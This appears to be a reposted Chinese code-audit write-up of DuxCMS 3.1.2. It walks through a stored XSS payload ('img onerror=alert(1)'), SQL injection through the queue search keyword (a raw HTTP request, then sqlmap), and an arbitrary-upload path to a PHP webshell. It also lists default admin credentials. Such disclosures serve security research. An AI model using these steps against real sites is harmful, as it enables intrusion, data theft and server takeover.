Duxcms3.1.2 代码审计多个漏洞getshell

DuxCMS 是一款基于PHP/MYSQL开发的、专注于多种平台的基础化内容管理框架

1、存储型xss

ApparticleadminContentAdmin.php

classid没有做过滤

Duxcms3.1.2 代码审计多个漏洞getshell


使用admin 123456登录

Duxcms3.1.2 代码审计多个漏洞getshell

漏洞位置:文章-文章管理-编辑

Duxcms3.1.2 代码审计多个漏洞getshell

添加xsspoc(<img src=1 onerror=alert(1)>)

Duxcms3.1.2 代码审计多个漏洞getshell

点击保存

Duxcms3.1.2 代码审计多个漏洞getshell

页面弹框

Duxcms3.1.2 代码审计多个漏洞getshell

首页也会被影响而弹框

Duxcms3.1.2 代码审计多个漏洞getshell

2、SQL注入

AppsystemmodellSystemModel.php

函数对提交的搜索参数进行判断,当搜索的值不为空时,直接将用户输入的参数拼接到SQL语句中

  1. public function index() {

  2. target($this->_middle, 'middle')->setParams($this->urlParams)->meta($this->urlParams['keyword'] .' - ÎÄÕÂËÑË÷', 'ÎÄÕÂËÑË÷', url('index', ['keyword' => $this->urlParams['keyword']]))->data()->export(function ($data) {

  3. $this->assign($data);

  4. $this->assign('urlParams', $this->urlParams);

  5. $this->assign('page', $this->htmlPage($data['pageData']['raw'], $this->urlParams));

  6. $this->siteDisplay();

  7. }, function ($message, $code, $url) {

  8. $this->errorCallback($message, $code, $url);

  9. });

  10. }

漏洞位置
工具-队列管理-点击搜索

  1. GET /s/tools/Queue/index?keyword=a%27 HTTP/1.1

  2. Host:

  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0

  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

  6. Accept-Encoding: gzip, deflate

  7. Connection: close

  8. Referer:

  9. Cookie: PHPSESSID=7nuq5fuiausr2qektji23umarb

  10. Upgrade-Insecure-Requests: 1

  11. X-Forwarded-For: 127.0.0.1

利用工具sqlmap跑

Duxcms3.1.2 代码审计多个漏洞getshell

3、任意文件上传(getshell)

漏洞代码
appsystemadminUploadAdmin.php

Duxcms3.1.2 代码审计多个漏洞getshell

appsystemmodelSystemFileModel.php

Duxcms3.1.2 代码审计多个漏洞getshell

AppsytemadminConfigAdmin.php
可以更改设置

Duxcms3.1.2 代码审计多个漏洞getshell

漏洞位置
页面-页面管理

Duxcms3.1.2 代码审计多个漏洞getshell

首先我们先修改配置添加上传文件格式php

    Duxcms3.1.2 代码审计多个漏洞getshell

然后返回页面-页面管理上传php的一句话木马

Duxcms3.1.2 代码审计多个漏洞getshell

点击缩略图

Duxcms3.1.2 代码审计多个漏洞getshell

上传php文件

Duxcms3.1.2 代码审计多个漏洞getshell

访问上传路径成功执行

Duxcms3.1.2 代码审计多个漏洞getshell


原文始发于微信公众号(Khan安全攻防实验室):Duxcms3.1.2 代码审计多个漏洞getshell

版权声明:admin 发表于 2024年10月10日 上午8:31。
转载请注明:Duxcms3.1.2 代码审计多个漏洞getshell | CTF导航

相关文章